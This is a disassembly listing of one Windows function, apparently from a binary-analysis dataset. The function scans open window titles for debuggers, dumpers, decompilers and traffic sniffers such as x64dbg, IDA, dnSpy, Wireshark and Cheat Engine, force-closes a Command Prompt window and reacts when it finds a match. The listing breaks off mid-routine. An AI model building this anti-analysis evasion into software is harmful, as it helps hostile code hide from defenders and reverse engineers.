Function at 0x4522f0
Capabilities:
Enumerate gui resources
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5caabc
mov eax, dword fs:[0]
push eax
sub esp, 0x3dc
mov eax, dword [0x658bb0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
movq qword [ebp - 0x3c], xmm0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], 0
push eax
push 0x454fe0
call dword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
je 0x453090
mov esi, dword [ebp - 0x3c]
mov dword [ebp - 0x3e8], esi
cmp esi, dword [ebp - 0x38]
je 0x453090
cmp dword [esi + 0x10], 0
je 0x45307e
push esi
lea ecx, [ebp - 0x30]
call fcn.0045eaa0
mov byte [ebp - 4], 1
lea edi, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0x10
mov eax, dword [ebp - 0x20]
cmovae edi, dword [ebp - 0x30]
setae dl
add eax, edi
test dl, dl
lea edi, [ebp - 0x30]
cmovne edi, dword [ebp - 0x30]
cmp edi, eax
je 0x4523ca
mov esi, eax
nop word [eax + eax]
movsx eax, byte [edi]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [edi], al
add esp, 4
inc edi
cmp edi, esi
jne 0x4523b0
mov esi, dword [ebp - 0x3e8]
push 4
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
push str.dump
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x58], 0
movups xmmword [ebp - 0x6c], xmm0
call fcn.00462a70
push 0
lea eax, [ebp - 0x6c]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x454eb4
call fcn.00451d80
xorps xmm0, xmm0
test eax, eax
jne 0x454e7f
push 0xc
push str.microsoft_sp
lea ecx, [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
movups xmmword [ebp - 0x204], xmm0
mov dword [ebp - 0x1f0], eax
call fcn.00462a70
push 0
lea eax, [ebp - 0x204]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x454daa
push 5
push str.ilspy
lea ecx, [ebp - 0x1ec]
mov dword [ebp - 0x1dc], 0
movups xmmword [ebp - 0x1ec], xmm0
mov dword [ebp - 0x1d8], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0x1ec]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x454cd5
push 6
push str.x32dbg
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x1c4], 0
movups xmmword [ebp - 0x1d4], xmm0
mov dword [ebp - 0x1c0], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0x1d4]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x454c00
push 7
push str.sharpod
lea ecx, [ebp - 0x1bc]
mov dword [ebp - 0x1ac], 0
movups xmmword [ebp - 0x1bc], xmm0
mov dword [ebp - 0x1a8], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0x1bc]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x454b2b
push 6
push str.x64dbg
lea ecx, [ebp - 0x1a4]
mov dword [ebp - 0x194], 0
movups xmmword [ebp - 0x1a4], xmm0
mov dword [ebp - 0x190], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0x1a4]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x454a56
push 7
push str.x32_dbg
lea ecx, [ebp - 0x18c]
mov dword [ebp - 0x17c], 0
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x178], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0x18c]
mov byte [ebp - 4], 8
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x454981
push 7
push str.x64_dbg
lea ecx, [ebp - 0x174]
mov dword [ebp - 0x164], 0
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x160], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0x174]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x4548ac
push 8
push str.strongod
lea ecx, [ebp - 0x15c]
mov dword [ebp - 0x14c], 0
movups xmmword [ebp - 0x15c], xmm0
mov dword [ebp - 0x148], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0x15c]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x4547d7
push 9
push str.titanHide
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x134], 0
movups xmmword [ebp - 0x144], xmm0
mov dword [ebp - 0x130], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0x144]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x454702
push 0xa
push str.scyllaHide
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x11c], 0
movups xmmword [ebp - 0x12c], xmm0
mov dword [ebp - 0x118], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0x12c]
mov byte [ebp - 4], 0xc
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x45462d
push 8
push str.graywolf
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x104], 0
movups xmmword [ebp - 0x114], xmm0
mov dword [ebp - 0x100], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 0xd
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x454558
push 0xc
push str.simple_assem
lea ecx, [ebp - 0xfc]
mov dword [ebp - 0xec], 0
movups xmmword [ebp - 0xfc], xmm0
mov dword [ebp - 0xe8], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0xfc]
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x454483
push 0xa
push str.megadumper
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0x54]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x4543c8
push 0xc
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.X64netdumper
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
call fcn.00462a70
push 0
lea eax, [ebp - 0xe4]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x4542f6
push 7
push str.ollydbg
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0xcc]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x454221
push 6
push str.ida_pr
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0xb4]
mov byte [ebp - 4], 0x12
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
xorps xmm0, xmm0
cmp eax, 0xffffffff
jne 0x45414c
push 7
push str.charles
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0
call fcn.00462a70
push 0
lea eax, [ebp - 0x9c]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x454071
push 5
xorps xmm0, xmm0
mov dword [ebp - 0x74], 0
push str.dnspy
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x70], 0
movups xmmword [ebp - 0x84], xmm0
call fcn.00462a70
push 0
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453fff
push str.httpanalyzer
lea ecx, [ebp - 0x3e4]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x3e4]
mov byte [ebp - 4], 0x15
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453fc0
push str.httpdebug
lea ecx, [ebp - 0x3cc]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x3cc]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453f74
push str.fiddler
lea ecx, [ebp - 0x3b4]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x3b4]
mov byte [ebp - 4], 0x17
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453f1a
push str.wireshark
lea ecx, [ebp - 0x39c]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x39c]
mov byte [ebp - 4], 0x18
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453eb5
push str.proxifier
lea ecx, [ebp - 0x384]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x384]
mov byte [ebp - 4], 0x19
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453e45
push str.mitmproxy
lea ecx, [ebp - 0x36c]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x36c]
mov byte [ebp - 4], 0x1a
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453dca
push str.system_expl
lea ecx, [ebp - 0x354]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x354]
mov byte [ebp - 4], 0x1b
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453d44
push str.wpe_p
lea ecx, [ebp - 0x33c]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x33c]
mov byte [ebp - 4], 0x1c
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453cb3
push str.ghidra
lea ecx, [ebp - 0x324]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x324]
mov byte [ebp - 4], 0x1d
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453c17
push str.windbg
lea ecx, [ebp - 0x30c]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x30c]
mov byte [ebp - 4], 0x1e
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453b70
push str.dbgclr
lea ecx, [ebp - 0x2f4]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x2f4]
mov byte [ebp - 4], 0x1f
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453abe
push str.Susmdbtend
lea ecx, [ebp - 0x2dc]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x2dc]
mov byte [ebp - 4], 0x20
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453a01
push str.process_li
lea ecx, [ebp - 0x2c4]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x2c4]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453939
push str.poopengine
lea ecx, [ebp - 0x2ac]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x2ac]
mov byte [ebp - 4], 0x22
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453866
push str.lua_script
lea ecx, [ebp - 0x294]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x294]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x453788
push 0x63ff04
lea ecx, [ebp - 0x27c]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x27c]
mov byte [ebp - 4], 0x24
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x45369f
push str.tersafe
lea ecx, [ebp - 0x264]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x264]
mov byte [ebp - 4], 0x25
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x4535ab
push str.resource_mo
lea ecx, [ebp - 0x24c]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x24c]
mov byte [ebp - 4], 0x26
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x4534ac
push str.wazer
lea ecx, [ebp - 0x234]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x234]
mov byte [ebp - 4], 0x27
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x4533a2
push str.crack
lea ecx, [ebp - 0x21c]
call fcn.0045ea60
push 0
lea eax, [ebp - 0x21c]
mov byte [ebp - 4], 0x28
push eax
lea ecx, [ebp - 0x30]
call fcn.0045e6c0
cmp eax, 0xffffffff
jne 0x45328d
mov edi, dword [sym.imp.USER32.dll_FindWindowExA]
push str.Referenced_Strings
push str.Window
push 0
push 0
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x45326d
push str.API_Monitor:_Memory_Editor
push str.32770
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x45324d
push str.Monitoring___API_Monitor_v2_32_bit__Administrator_
push str.99929D61_1338_48B1_9433_D42A1D94F0D2_x86
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x45322d
push str.Monitoring___API_Monitor_v2_64_bit__Administrator_
push str.99929D61_1338_48B1_9433_D42A1D94F0D2_x64
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x45320a
push str.Scylla_x86_v0.9.8
push str.32770
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x4531e7
push str.Scylla_x64_v0.9.8
push str.32770
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x4531c4
push str.OllyDbg
push str.OLLYDBG
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x4531a1
push str.x64dbg__Elevated_
push str.Qt5QWindowIcon
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x45317e
push str.x64dbg
push str.Qt5QWindowIcon
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x45315b
push str.xs32dbg__Elevated_
push str.Qt5QWindowIcon
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x453138
push str.x32dbg
push str.Qt5QWindowIcon
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x453138
push eax
push str.ProcessHacker
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x453115
push eax
push str.Window
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x4530f2
push str.Command_Prompt
push str.ConsoleWindowClass
push eax
push eax
call edi
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x452eb7
push 0
push 0xf060
push 0x112
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_SendMessageA]
push 0
push str.TaskManagerWindow
push 0
push 0
call edi
push eax
call dword [sym.imp.USER32.dll_IsWindow]
lea ecx, [ebp - 0x21c]
call fcn.0045ea10
lea ecx, [ebp - 0x234]
call fcn.0045ea10
lea ecx, [ebp - 0x24c]
call fcn.0045ea10
lea ecx, [ebp - 0x264]
call fcn.0045ea10
lea ecx, [ebp - 0x27c]
call fcn.0045ea10
lea ecx, [ebp - 0x294]
call fcn.0045ea10
lea ecx, [ebp - 0x2ac]
call fcn.0045ea10
lea ecx, [ebp - 0x2c4]
call fcn.0045ea10
lea ecx, [ebp - 0x2dc]
call fcn.0045ea10
lea ecx, [ebp - 0x2f4]
call fcn.0045ea10
lea ecx, [ebp - 0x30c]
call fcn.0045ea10
lea ecx, [ebp - 0x324]
call fcn.0045ea10
lea ecx, [ebp - 0x33c]
call fcn.0045ea10
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
lea ecx, [ebp - 0x84]
call fcn.0045ea10
lea ecx, [ebp - 0x9c]
call fcn.0045ea10
lea ecx, [ebp - 0xb4]
call fcn.0045ea10
lea ecx, [ebp - 0xcc]
call fcn.0045ea10
lea ecx, [ebp - 0xe4]
call fcn.0045ea10
lea ecx, [ebp - 0x54]
call fcn.0045ea10
lea ecx, [ebp - 0xfc]
call fcn.0045ea10
lea ecx, [ebp - 0x114]
call fcn.0045ea10
lea ecx, [ebp - 0x12c]
call fcn.0045ea10
lea ecx, [ebp - 0x144]
call fcn.0045ea10
lea ecx, [ebp - 0x15c]
call fcn.0045ea10
lea ecx, [ebp - 0x174]
call fcn.0045ea10
lea ecx, [ebp - 0x18c]
call fcn.0045ea10
lea ecx, [ebp - 0x1a4]
call fcn.0045ea10
lea ecx, [ebp - 0x1bc]
call fcn.0045ea10
lea ecx, [ebp - 0x1d4]
call fcn.0045ea10
lea ecx, [ebp - 0x1ec]
call fcn.0045ea10
lea ecx, [ebp - 0x204]
call fcn.0045ea10
lea ecx, [ebp - 0x6c]
call fcn.0045ea10
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0
call fcn.0045ea10
add esi, 0x18
mov dword [ebp - 0x3e8], esi
cmp esi, dword [ebp - 0x38]
jne 0x452371
mov byte [ebp - 0x11], 0
mov ecx, dword [ebp - 0x3c]
test ecx, ecx
je 0x454fc2
mov edx, dword [ebp - 0x38]
push ecx
call fcn.00462c50
mov ecx, dword [ebp - 0x34]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x3c]
add esp, 4
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x454fb8
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x454fb8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
sub esp, 0x18
mov ecx, esp
push str.Cheat_Engine
call fcn.0045ea60
mov ecx, 0x109cde0
call fcn.0044ef40
push str.Cheat_Engine
jmp 0x4532ad
sub esp, 0x18
mov ecx, esp
push str.ProcessHacker
call fcn.0045ea60
mov ecx, 0x109cde0
call fcn.0044ef40
push str.ProcessHacker
jmp 0x4532ad
sub esp, 0x18
mov ecx, esp
push str.x32dbg
call fcn.0045ea60
mov ecx, 0x109cde0
call fcn.0044ef40
push str.x32dbg
jmp 0x4532ad
sub esp, 0x18
mov ecx, esp
push str.x64dbg
call fcn.0045ea60
mov ecx, 0x109cde0
call fcn.0044ef40
push str.x64dbg
jmp 0x4532ad
sub esp, 0x18
mov ecx, esp
push str.x64dbg__Elevated_
call fcn.0045ea60
mov ecx, 0x109cde0
call fcn.0044ef40
push str.x64dbg__Elevated_
jmp 0x4532ad
sub esp, 0x18
mov ecx, esp
push str.OllyDbg
call fcn.0045ea60
mov ecx, 0x109cde0
call fcn.0044ef40
push str.OllyDbg
jmp 0x4532ad
sub esp, 0x18
mov ecx, esp
push str.Scylla_x64_v0.9.8
call fcn.0045ea60
mov ecx, 0x109cde0
call fcn.0044ef40
push str.Scylla_x64_v0.9.8
jmp 0x4532ad
sub esp, 0x18
mov ecx, esp
push str.Scylla_x86_v0.9.8
call fcn.0045ea60
mov ecx, 0x109cde0
call fcn.0044ef40
push str.Scylla_x86_v0.9.8
jmp 0x4532ad
sub esp, 0x18
mov ecx, esp
push str.Monitoring___API_Monitor_v2_64_bit__Administrator_
call fcn.0045ea60
mov ecx, 0x109cde0
call fcn.0044ef40
push str.Monitoring___API_Monitor_v2_64_bit__Administrator_
jmp 0x4532ad
sub esp, 0x18
mov ecx, esp
push str.Monitoring___API_Monitor_v2_32_bit__Administrator_
call fcn.0045ea60
mov ecx, 0x109cde0
call fcn.0044ef40
push str.Monitoring___API_Monitor_v2_32_bit__Administrator_
jmp 0x4532ad
sub esp, 0x18
mov ecx, esp
push str.API_Monitor:_Memory_Editor
call fcn.0045ea60
mov ecx, 0x109cde0
call fcn.0044ef40
push str.API_Monitor:_Memory_Editor
jmp 0x4532ad
sub esp, 0x18
mov ecx, esp
push str.Referenced_Strings
call fcn.0045ea60
mov ecx, 0x109cde0
call fcn.0044ef40
push str.Referenced_Strings
jmp 0x4532ad
sub esp, 0x18
lea eax, [ebp - 0x21c]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.crack
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x21c]
call fcn.0045ea10
lea ecx, [ebp - 0x234]
call fcn.0045ea10
lea ecx, [ebp - 0x24c]
call fcn.0045ea10
lea ecx, [ebp - 0x264]
call fcn.0045ea10
lea ecx, [ebp - 0x27c]
call fcn.0045ea10
lea ecx, [ebp - 0x294]
call fcn.0045ea10
lea ecx, [ebp - 0x2ac]
call fcn.0045ea10
lea ecx, [ebp - 0x2c4]
call fcn.0045ea10
lea ecx, [ebp - 0x2dc]
call fcn.0045ea10
lea ecx, [ebp - 0x2f4]
call fcn.0045ea10
lea ecx, [ebp - 0x30c]
call fcn.0045ea10
lea ecx, [ebp - 0x324]
call fcn.0045ea10
lea ecx, [ebp - 0x33c]
call fcn.0045ea10
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x234]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.wcrack
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x234]
call fcn.0045ea10
lea ecx, [ebp - 0x24c]
call fcn.0045ea10
lea ecx, [ebp - 0x264]
call fcn.0045ea10
lea ecx, [ebp - 0x27c]
call fcn.0045ea10
lea ecx, [ebp - 0x294]
call fcn.0045ea10
lea ecx, [ebp - 0x2ac]
call fcn.0045ea10
lea ecx, [ebp - 0x2c4]
call fcn.0045ea10
lea ecx, [ebp - 0x2dc]
call fcn.0045ea10
lea ecx, [ebp - 0x2f4]
call fcn.0045ea10
lea ecx, [ebp - 0x30c]
call fcn.0045ea10
lea ecx, [ebp - 0x324]
call fcn.0045ea10
lea ecx, [ebp - 0x33c]
call fcn.0045ea10
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x24c]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.resource_monitor
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x24c]
call fcn.0045ea10
lea ecx, [ebp - 0x264]
call fcn.0045ea10
lea ecx, [ebp - 0x27c]
call fcn.0045ea10
lea ecx, [ebp - 0x294]
call fcn.0045ea10
lea ecx, [ebp - 0x2ac]
call fcn.0045ea10
lea ecx, [ebp - 0x2c4]
call fcn.0045ea10
lea ecx, [ebp - 0x2dc]
call fcn.0045ea10
lea ecx, [ebp - 0x2f4]
call fcn.0045ea10
lea ecx, [ebp - 0x30c]
call fcn.0045ea10
lea ecx, [ebp - 0x324]
call fcn.0045ea10
lea ecx, [ebp - 0x33c]
call fcn.0045ea10
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x264]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.tersafe
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x264]
call fcn.0045ea10
lea ecx, [ebp - 0x27c]
call fcn.0045ea10
lea ecx, [ebp - 0x294]
call fcn.0045ea10
lea ecx, [ebp - 0x2ac]
call fcn.0045ea10
lea ecx, [ebp - 0x2c4]
call fcn.0045ea10
lea ecx, [ebp - 0x2dc]
call fcn.0045ea10
lea ecx, [ebp - 0x2f4]
call fcn.0045ea10
lea ecx, [ebp - 0x30c]
call fcn.0045ea10
lea ecx, [ebp - 0x324]
call fcn.0045ea10
lea ecx, [ebp - 0x33c]
call fcn.0045ea10
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x27c]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push 0x63ff04
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x27c]
call fcn.0045ea10
lea ecx, [ebp - 0x294]
call fcn.0045ea10
lea ecx, [ebp - 0x2ac]
call fcn.0045ea10
lea ecx, [ebp - 0x2c4]
call fcn.0045ea10
lea ecx, [ebp - 0x2dc]
call fcn.0045ea10
lea ecx, [ebp - 0x2f4]
call fcn.0045ea10
lea ecx, [ebp - 0x30c]
call fcn.0045ea10
lea ecx, [ebp - 0x324]
call fcn.0045ea10
lea ecx, [ebp - 0x33c]
call fcn.0045ea10
lea ecx, [ebp - 0x354]
call fcn.0045ea10
lea ecx, [ebp - 0x36c]
call fcn.0045ea10
lea ecx, [ebp - 0x384]
call fcn.0045ea10
lea ecx, [ebp - 0x39c]
call fcn.0045ea10
lea ecx, [ebp - 0x3b4]
call fcn.0045ea10
lea ecx, [ebp - 0x3cc]
call fcn.0045ea10
lea ecx, [ebp - 0x3e4]
call fcn.0045ea10
jmp 0x454031
sub esp, 0x18
lea eax, [ebp - 0x294]
mov ecx, esp
push eax
call fcn.0045eaa0
mov ecx, 0x109cde0
call fcn.0044ef40
push str.lua_script
mov ecx, 0x109cd70
call fcn.0045e9e0
call fcn.00452290
call fcn.00452250
lea ecx, [ebp - 0x294]
call fcn.0045ea10
lea ecx, [ebp - 0x2ac]
call fcn.0045ea10
lea ecx, [ebp - 0x2c4]
call fcn.0045ea10
